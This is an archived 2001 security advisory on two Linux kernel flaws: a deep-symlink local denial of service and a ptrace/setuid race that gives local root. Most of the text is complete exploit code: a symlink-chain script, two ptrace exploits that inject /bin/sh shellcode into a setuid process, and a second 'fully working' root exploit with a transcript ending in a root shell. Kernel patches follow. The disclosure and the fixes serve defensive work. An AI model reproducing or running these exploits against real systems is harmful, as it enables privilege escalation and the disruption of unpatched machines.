TUCoPS :: Linux :: General :: lnx4800.htm

ptrace & deep symlinks local DoS & root
19th Oct 2001 [SBWID-4800]
COMMAND

	ptrace and deep symlinks

SYSTEMS AFFECTED

	kernels 2.2.x, x<=19 and 2.4.y, y<=9

PROBLEM

	Nergal found following : The first vulnerability results in  local  DoS.
	The second one, involving ptrace, can be used to  gain  root  privileges
	locally (in case of default  install  of  most  popular  distributions).
	Linux 2.0.x is not vulnerable to the ptrace bug mentioned.
	

	

	 I. Local DoS via deep symlinks

	 ==============================

	

	An attacker can force the kernel to spend  almost  arbitrary  amount  of
	time on dereferencing a single symlink, which prevents  other  processes
	from running. The attached script, mklink.sh, takes a  single  parameter
	N. The script creates 5 symlinks, each of  them  containing  2*N+1  path
	elements. When N=3, the symlinks look this way:
	

	$ ls -lG

	drwxr-xr-x    2 nergal       4096 wrz 21 14:46 l

	lrwxrwxrwx    1 nergal         53 wrz 21 14:46 l0 ->

	        l1/../l1/../l1/../l/../../../../../../../etc/services

	lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l

	lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l

	lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l

	lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l

	drwxr-xr-x    2 nergal       4096 wrz 21 14:46 l5

	drwxr-xr-x    2 rybagowa     4096 lut 27  1999 still_here

	

	

	The amount of time the  command  \"head  l0\"  consumes  (measured  with
	time(1)) follows:
	

	N       system time

	10:     sys     0m0.050s

	20:     sys     0m1.400s

	30:     sys     0m10.150s

	40:     sys     0m41.840s

	

	

	When \"head l0\" is being executed, other processes  are  not  scheduled
	to run. Thus the possibility of local DoS (in case of SMP you  may  need
	to  spawn  one  mklink.sh  process  per  cpu).   The   time   spent   on
	dereferencing \"l0\" is proportional to the number of path  elements  in
	normalized \"l0\". So, when N=120, the scheduler should  be  locked  out
	for about three hours. One can reach N=600, in case of  2.4.9;  also  in
	case of 2.4.9, one  can  create  even  more  (up  to  eight)  levels  of
	symlinks.
	

	2.4.10 fixed this problem, but not completely. Under 2.4.10 \"head  l0\"
	command would not block the scheduler, but  it  cannot  be  killed.  The
	problem is fully solved in 2.4.12.
	

	 II. Root compromise by ptrace(3)

	 ================================

	

	In order for this  flaw  to  be  exploitable,  /usr/bin/newgrp  must  be
	setuid root and world-executable. Additionally, newgrp,  when  run  with
	no arguments, should  not  prompt  for  password.  This  conditions  are
	satisfied in case of most popular Linux distributions (but not  Openwall
	GNU/*/Linux).  Suppose  the  following  flow  of  execution  (initially,
	Process 1 and Process 2 are unprivileged):
	

	Time    Process 1                                       Process 2

	0       ptrace(PTRACE_ATTACH, pid of Process 2,...)

	1       execve /usr/bin/newgrp 

	2                                               execve /any/thing/suid

	3       execve default user shell  

	4       execve ./insert_shellcode

	

	

	The unexpected happens at moment 2. Process 2 is  still  traced,  execve
	/any/thing/suid succeeds, and the setuid bit is honored  !  This  is  so
	because
	 1) the property of \"having an ptrace-attached child\" survives the execve

	 2) at moment 2, the tracer (process 1) has CAP_SYS_PTRACE set (well, has all

	root privs), therefore it is allowed to  trace  even  execve  of  setuid
	binary.
	

	In moment 3, newgrp executes a shell, which is an usual  behavior.  This
	shell is still able to control the process  2  with  ptrace.  Therefore,
	the \"./insert_shellcode\" binary is able to insert arbitrary code  into
	the address space of Process 2. Game over.
	

	In order to exploit this kernel vulnerability, one needs a  setuid  root
	binary which execs an  user-defined  binary  (or  a  shell).  Newgrp  is
	appropriate on most distributions. On default install  of  slackware  it
	does not work (the password fields in /etc/group are empty,  and  newgrp
	demands a password). However, one can use \"su\" on  this  distribution.
	\"su\" binary is compiled without PAM support  on  slackware,  therefore
	it execs an user shell.
	

	Do you remember the exploit against *BSD procfs,  published  in  January
	2000
	(http://www.securityfocus.com/cgi-bin/archive.pl?id=1&mid=43189)   ?
	This one is very similar; a setuid binary is spawned so that the  system
	treats it as a tracing process. Observe that in  case  of  newgrp,  only
	CAP_SYS_SETGID is required (plus probably some reserved egid E  to  read
	gshadow; provided that gshadow would be readable by gid E). If the  file
	system supported granting capabilities to programs (not  only  +s  bit),
	this  bug  could  have  been  benign.  Similarly,  \"su\"   needs   only
	CAP_SYS_SETUID+CAP_SYS_SETGID   (and   egid   shadow).    The    \"least
	privilege\" rule, strictly applied, can save from a  lot  of  unexpected
	trouble.
	

	This bug seems to be Linux-specific. I have tested FreeBSD, OpenBSD  and
	[older versions of]  Irix  and  Solaris.  None  of  the  tested  systems
	honored setuid bit when an executing process was traced, even  when  the
	tracer was root.
	

	

	

	 Exploit

	 =======

	The attached mklink.sh script creates malicious  symlinks.  ptrace-exp.c
	and insert_shellcode.c exploit the ptrace bug on i386 architecture.  You
	will  probably  need  to  adjust  #define  in  the  latter.  Note   that
	ptrace-exp uses LD_DEBUG variable to force a setuid program to  generate
	output. This technique (stderr  redirected  to  a  pipe,  LD_DEBUG  set,
	especially LD_DEBUG=symbols) allows for forced suspending  of  a  setuid
	binary in a precisely determined moments, which may be helpful to  build
	exploits which rely on race-conditions. And finally, notice  that  under
	Owl LD_DEBUG is ignored in case of suid binaries.
	

	

	 mklink.sh 

	 =========

	

	#!/bin/sh

	# by Nergal

	mklink()

	{

	IND=$1

	NXT=$(($IND+1))

	EL=l$NXT/../

	P=\"\"

	I=0

	while [ $I -lt $ELNUM ] ; do

	        P=$P\"$EL\"

	        I=$(($I+1))

	done

	ln -s \"$P\"l$2 l$IND

	}

	

	#main program

	

	if [ $# != 1 ] ; then

		echo A numerical argument is required.

		exit 0

	fi

	

	

	ELNUM=$1

	

	mklink 4

	mklink 3

	mklink 2

	mklink 1

	mklink 0 /../../../../../../../etc/services

	mkdir l5

	mkdir l

	

	

	 insert_shellcode.c

	 ==================

	

	/* by Nergal */

	#include <stdio.h>

	#include <sys/ptrace.h>

	struct user_regs_struct {

		long ebx, ecx, edx, esi, edi, ebp, eax;

		unsigned short ds, __ds, es, __es;

		unsigned short fs, __fs, gs, __gs;

		long orig_eax, eip;

		unsigned short cs, __cs;

		long eflags, esp;

		unsigned short ss, __ss;

	};

	/* spiritual black dimension */

	

	char hellcode[] =

	    \"\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x93\\x31\\xc0\\xb0\\x17\\xcd\\x80\"

	    \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"

	    \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"

	    \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";

	

	#define ADDR 0x00125000

	main(int argc, char **argv)

	{

		int status;

		int i, wpid, pid = atoi(argv[1]);

		struct user_regs_struct regs;

		if (ptrace(PTRACE_GETREGS, pid, 0, Žs)) {

			perror(\"PTRACE_GETREGS\");

			exit(0);

		}

		regs.eip = ADDR;

		if (ptrace(PTRACE_SETREGS, pid, 0, Žs))

			exit(0);

		for (i = 0; i <= strlen(hellcode) + 5; i += 4)

			ptrace(PTRACE_POKETEXT, pid, ADDR + i,

			    *(unsigned int *) (hellcode + i));

		//  kill (pid, SIGSTOP);

		if (ptrace(PTRACE_DETACH, pid, 0, 0))

			exit(0);

		close(2);

		do {

			wpid = waitpid(-1, &status, 0);

			if (wpid == -1) {

				perror(\"waitpid\");

				exit(1);

			}

		} while (wpid != pid);

	}

	

	

	

	

	 ptrace-exp.c

	 ============

	

	/* by Nergal */

	#include <stdio.h>

	#include <sys/ptrace.h>

	#include <fcntl.h>

	#include <sys/ioctl.h>

	void ex_passwd(int fd)

	{

		char z;

		if (read(fd, &z, 1) <= 0) {

			perror(\"read:\");

			exit(1);

		}

		execl(\"/usr/bin/passwd\", \"passwd\", 0);

		perror(\"execl\");

		exit(1);

	}

	void insert(int pid)

	{

		char buf[100];

		char *ptr = buf;

		sprintf(buf, \"exec ./insert_shellcode %i\\n\", pid);

		while (*ptr && !ioctl(0, TIOCSTI, ptr++));

	}

	

	

	main(int argc, char **argv)

	{

		int res, fifo;

		int status;

		int pid, n;

		int pipa[2];

		char buf[1024];

		pipe(pipa);

		switch (pid = fork()) {

		case -1:

			perror(\"fork\");

			exit(1);

		case 0:

			close(pipa[1]);

			ex_passwd(pipa[0]);

		default:;

		}

	

	

		res = ptrace(PTRACE_ATTACH, pid, 0, 0);

		if (res) {

			perror(\"attach\");

			exit(1);

		}

		res = waitpid(-1, &status, 0);

		if (res == -1) {

			perror(\"waitpid\");

			exit(1);

		}

		res = ptrace(PTRACE_CONT, pid, 0, 0);

		if (res) {

			perror(\"cont\");

			exit(1);

		}

		fprintf(stderr, \"attached\\n\");

		switch (fork()) {

		case -1:

			perror(\"fork\");

			exit(1);

		case 0:

			close(pipa[1]);

			sleep(1);

			insert(pid);

			do {

				n = read(pipa[0], buf, sizeof(buf));

			} while (n > 0);

			if (n < 0)

				perror(\"read\");

			exit(0);

		default:;

		}

		close(pipa[0]);

	

		dup2(pipa[1], 2);

		close(pipa[1]);

		/* Decrystallizing reason */

		setenv(\"LD_DEBUG\", \"libs\", 1);

		/* With strength I burn */ 

		execl(\"/usr/bin/newgrp\", \"newgrp\", 0);

	}

	

	

	

	

	 Update

	 ======

	

	Christophe Devine has posted to securitybugware a better exploit :
	

	

	/*

	Here is a fully working exploit for i386 Linux kernel < 2.4.11

	

	Note: it should also work with /bin/login replaced by /usr/bin/newgrp

	(which does usually not require a valid username/password), and

	in case /bin/ping is not suid you may use any root-suid program.

	

	This sploit will certainly not work if the stack is not executable;

	in that case you will have to adjust myEIP.

	

	Tested on Debian 2.2r3 :

	

	$ telnet localhost

	Trying 127.0.0.1...

	Connected to localhost.

	Escape character is \'^]\'.

	

	Linux 2.2.19pre17 (localhost) (2)

	

	cibox login: chris

	Password:

	Last login: Sat Jan 12 13:27:03 2002 on tty1

	$ exec ./a.out

	enter: exec ./a.out 1062

	cibox login: chris

	Password:

	Last login: Sat Jan 12 13:27:23 2002 from localhost on pts/2

	$ exec ./a.out 1062

	Enjoy.

	sh-2.03# id

	uid=0(root) gid=100(users) groups=100(users)

	*/

	

	#include <sys/wait.h>

	#include <asm/user.h>

	

	char rootshell[] =

	

	    \"\\x31\\xDB\\x31\\xC0\\xB0\\x17\\xCD\\x80\\x09\\xC0\\x74\\x1C\\x31\\xD2\\xB2\\x0E\"

	    \"\\xEB\\x03\\x59\\xEB\\x28\\xE8\\xF8\\xFF\\xFF\\xFF\\x53\\x68\\x69\\x74\\x20\\x68\"

	    \"\\x61\\x70\\x70\\x65\\x6E\\x73\\x2E\\x0A\\x31\\xD2\\xB2\\x07\\xEB\\x03\\x59\\xEB\"

	    \"\\x0C\\xE8\\xF8\\xFF\\xFF\\xFF\\x45\\x6E\\x6A\\x6F\\x79\\x2E\\x0A\\x31\\xDB\\xB3\"

	    \"\\x01\\x31\\xC0\\xB0\\x04\\xCD\\x80\\xEB\\x03\\x5B\\xEB\\x0D\\xE8\\xF8\\xFF\\xFF\"

	    \"\\xFF\\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68\\x00\\x89\\xE7\\x89\\xF9\\x89\\xD8\\xAB\"

	    \"\\x89\\xFA\\x31\\xC0\\xAB\\xB0\\x0B\\xCD\\x80\\x31\\xDB\\xB3\\x01\\x31\\xC0\\xB0\"

	    \"\\x01\\xCD\\x80\";

	

	#define myEIP 0xBFFFFF00

	

	int main( int argc, char *argv[] )

	{

	     int p, i;

	     struct user_regs_struct r;

	

	     if( argc == 2 )

	     {

	         p = atoi( argv[1] );

	         ptrace( PTRACE_GETREGS, p, 0, &r );

	         r.eip = myEIP;

	         ptrace( PTRACE_SETREGS, p, 0, &r );

	         for (i = 0; i < 115; i += 4 )

	             ptrace(PTRACE_POKETEXT, p, myEIP+i, *(int *)(rootshell+i));

	         ptrace( PTRACE_DETACH,  p, 0, 0  );

	         waitpid( p, 0, 0 );

	         return( 0 );

	     }

	     if( ! ( p = fork() ) )

	     {

	         execl( \"/bin/ping\", \"/bin/ping\", \"127.0.0.1\", 0 );

	         return( 1 );

	     }

	     ptrace( PTRACE_ATTACH, p, 0, 0 );

	     waitpid( p, 0, 0 );

	     printf( \"enter: exec %s %i\\n\", argv[0], p );

	     ptrace( PTRACE_CONT, p, 0, 0 );

	     execl( \"/bin/login\", \"/bin/login\", 0 );

	     return( 1 );

	}

	

SOLUTION

	The kernel developers were notified on  18th  September.  vendor-sec  at
	lists dot de was notified on 9th October.
	

	2.4.12 kernel fixes  both  presented  problems.  The  attached  patches,
	2.2.19-deep-symlink.patch  and  2.2.19-ptrace.patch,  both  blessed   by
	Linus, can be used to close the vulnerability in 2.2.19.  The  (updated)
	Openwall   GNU/*/Linux   kernel   patches   can   be   retrieved    from
	http://www.openwall.com/linux/ Note that the  default  Owl  installation
	is not vulnerable to the ptrace bug described.
	

	

	 Patches

	 =======

	

	

	--- linux-2.2.19/fs/namei.c.orig	Wed Oct 10 09:31:37 2001

	+++ linux-2.2.19/fs/namei.c	Wed Oct 10 10:30:56 2001

	@@ -277,6 +277,15 @@

	 		result->d_op->d_revalidate(result, flags);

	 	return result;

	 }

	+/*

	+ * Yes, this really increments the link_count by 5, and

	+ * decrements it by 4. Together with checking against 25,

	+ * this limits recursive symlink follows to 5, while

	+ * limiting consecutive symlinks to 25.

	+ *

	+ * Without that kind of total limit, nasty chains of consecutive

	+ * symlinks can cause almost arbitrarily long lookups.

	+ */

	 

	 static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)

	 {

	@@ -284,13 +293,17 @@

	 

	 	if ((follow & LOOKUP_FOLLOW)

	 	    && inode && inode->i_op && inode->i_op->follow_link) {

	-		if (current->link_count < 5) {

	+		if (current->link_count < 25) {

	 			struct dentry * result;

	 

	-			current->link_count++;

	+			if (current->need_resched) {

	+				current->state = TASK_RUNNING;	

	+				schedule();

	+			}

	+			current->link_count += 5;

	 			/* This eats the base */

	-			result = inode->i_op->follow_link(dentry, base, follow);

	-			current->link_count--;

	+			result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);

	+			current->link_count -= 4;

	 			dput(dentry);

	 			return result;

	 		}

	@@ -324,6 +337,8 @@

	 	struct dentry * dentry;

	 	struct inode *inode;

	 

	+	if (!(lookup_flags & LOOKUP_INSYMLINK))

	+		current->link_count=0;

	 	if (*name == \'/\') {

	 		if (base)

	 			dput(base);

	--- linux-2.2.19/include/linux/fs.h.orig	Wed Oct 10 10:06:41 2001

	+++ linux-2.2.19/include/linux/fs.h	Wed Oct 10 10:07:58 2001

	@@ -872,6 +872,7 @@

	 #define LOOKUP_DIRECTORY	(2)

	 #define LOOKUP_SLASHOK		(4)

	 #define LOOKUP_CONTINUE		(8)

	+#define LOOKUP_INSYMLINK	(16)

	 

	 extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);

	 extern struct dentry * __namei(const char *, unsigned int);

	

	diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c

	--- linux-2.2.19/fs/exec.c	Mon Mar 26 07:13:23 2001

	+++ linux/fs/exec.c	Tue Oct  9 05:00:50 2001

	@@ -552,12 +645,11 @@

	 }

	 

	 /*

	- * We mustn\'t allow tracing of suid binaries, unless

	- * the tracer has the capability to trace anything..

	+ * We mustn\'t allow tracing of suid binaries, no matter what.

	  */

	 static inline int must_not_trace_exec(struct task_struct * p)

	 {

	-	return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);

	+	return (p->flags & PF_PTRACED);

	 }

	 

	 /* 

	

	

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH